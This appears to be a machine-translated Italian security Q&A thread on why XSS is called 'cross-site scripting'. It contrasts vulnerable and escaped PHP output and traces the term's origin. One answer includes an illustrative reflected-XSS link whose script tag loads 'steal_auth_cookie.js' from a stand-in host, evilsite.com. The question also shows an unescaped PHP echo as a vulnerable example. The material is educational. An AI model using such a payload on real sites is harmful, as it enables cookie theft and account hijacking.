Perché si chiama scripting cross-site? (XSS)

14

Perché Script tra siti chiamato Script tra siti? Il termine implica per me (un madrelingua inglese non nativo) che ci sia qualche altro sito web coinvolto che attacca il tuo sito web, ma il più delle volte non è così, vero? (Al diavolo, non sempre include anche lo scripting (alimentazione di JavaScript per l'utente): un'interfaccia HTML simulata è spesso anche una strategia di esecuzione valida.)

A quanto ho capito, ciò che chiamiamo XSS è causato da una fuga insufficiente dell'input dell'utente e avviene principalmente nelle applicazioni web, come mostrato in questa domanda . Ad esempio, la seguente parte di codice è vulnerabile:

<?php
echo $_GET['q'];
?>

Ma il seguente lo corregge [1] :

<?php
echo htmlspecialchars($_GET['q']);
?>

Anche l'input dell'utente può essere memorizzato nel database, e la stessa cosa accade se l'input non è sfuggito quando viene riportato per la visualizzazione. In effetti, questo sembra essere il metodo di attacco più vantaggioso per l'attaccante (colpisce il maggior numero di utenti) e quindi il più utilizzato.

Ritengo che la nebulosità del termine porti a lavori di hacking come rimozione di caratteri offensivi o stringhe da input dell'utente e altre confusioni ( apparentemente permettendo JavaScript valido nel database è sbagliato ) quando le persone inesperte stanno cercando di patchare per questo.

Al posto del termine astruso XSS, qualcosa di simile a mancanza di escape funziona altrettanto bene, ed è molto più chiaro? O c'è qualcosa di più che racchiude il termine XSS?

[1]: Supponendo che siamo nel mezzo di una pagina HTML, naturalmente.

    
posta oals 01.09.2016 - 11:23
fonte

2 risposte

8

Dal link schroeder ha dato nel commento l'origine della "Croce" in XSS diventa evidente : il primo XSS è stato perché Alex va su evilsite.com e vede un link che dice: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>' . Cliccando sul link su evilsite.com si ottiene un reindirizzamento a nicesite.com. La combinazione di nicesite.com non riesce a sfuggire al parametro di query puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> prima di scriverlo alla pagina produce l'attacco cross site caricando lo script evilsite.com. ( esempio semplificato dall'articolo di Wikipedia ). Questo attacco (noto specificamente come XSS riflesso e non persistente) è cross site perché proviene da evil.com e non richiede solo una vulnerabilità in nicesite.com.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

Continua spiegando che il termine XSS si è ampliato per includere ora cose che non coinvolgono il sito trasversale.

The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Riguardo a un nome diverso, più descrittivo e meno confuso. Dalla mia ricerca sembra che tu abbia ragione affermando che questa è una classe di vulnerabilità che non sfugge ai contenuti degli utenti. La denominazione è difficile, quindi è improbabile che cambi. L'unico che potrei pensare brevemente è Unescaped Scripting Attack, ma l'acronimo USA è già stato preso!

A proposito, questa è una domanda eccellente e una mi sono ponderata.

    
risposta data 08.06.2017 - 12:12
fonte
5

Il sito nello scripting cross-site si riferisce a un sito (host, computer, lato client, lato server, posizione, ambiente e così via) non al sito web. Ciò potrebbe causare la confusione. Inoltre, X (incrociato) è stato scelto al posto di C per distinguere tra il linguaggio dello stile e questo tipo di attacco.

    
risposta data 01.09.2016 - 11:28
fonte

Leggi altre domande sui tag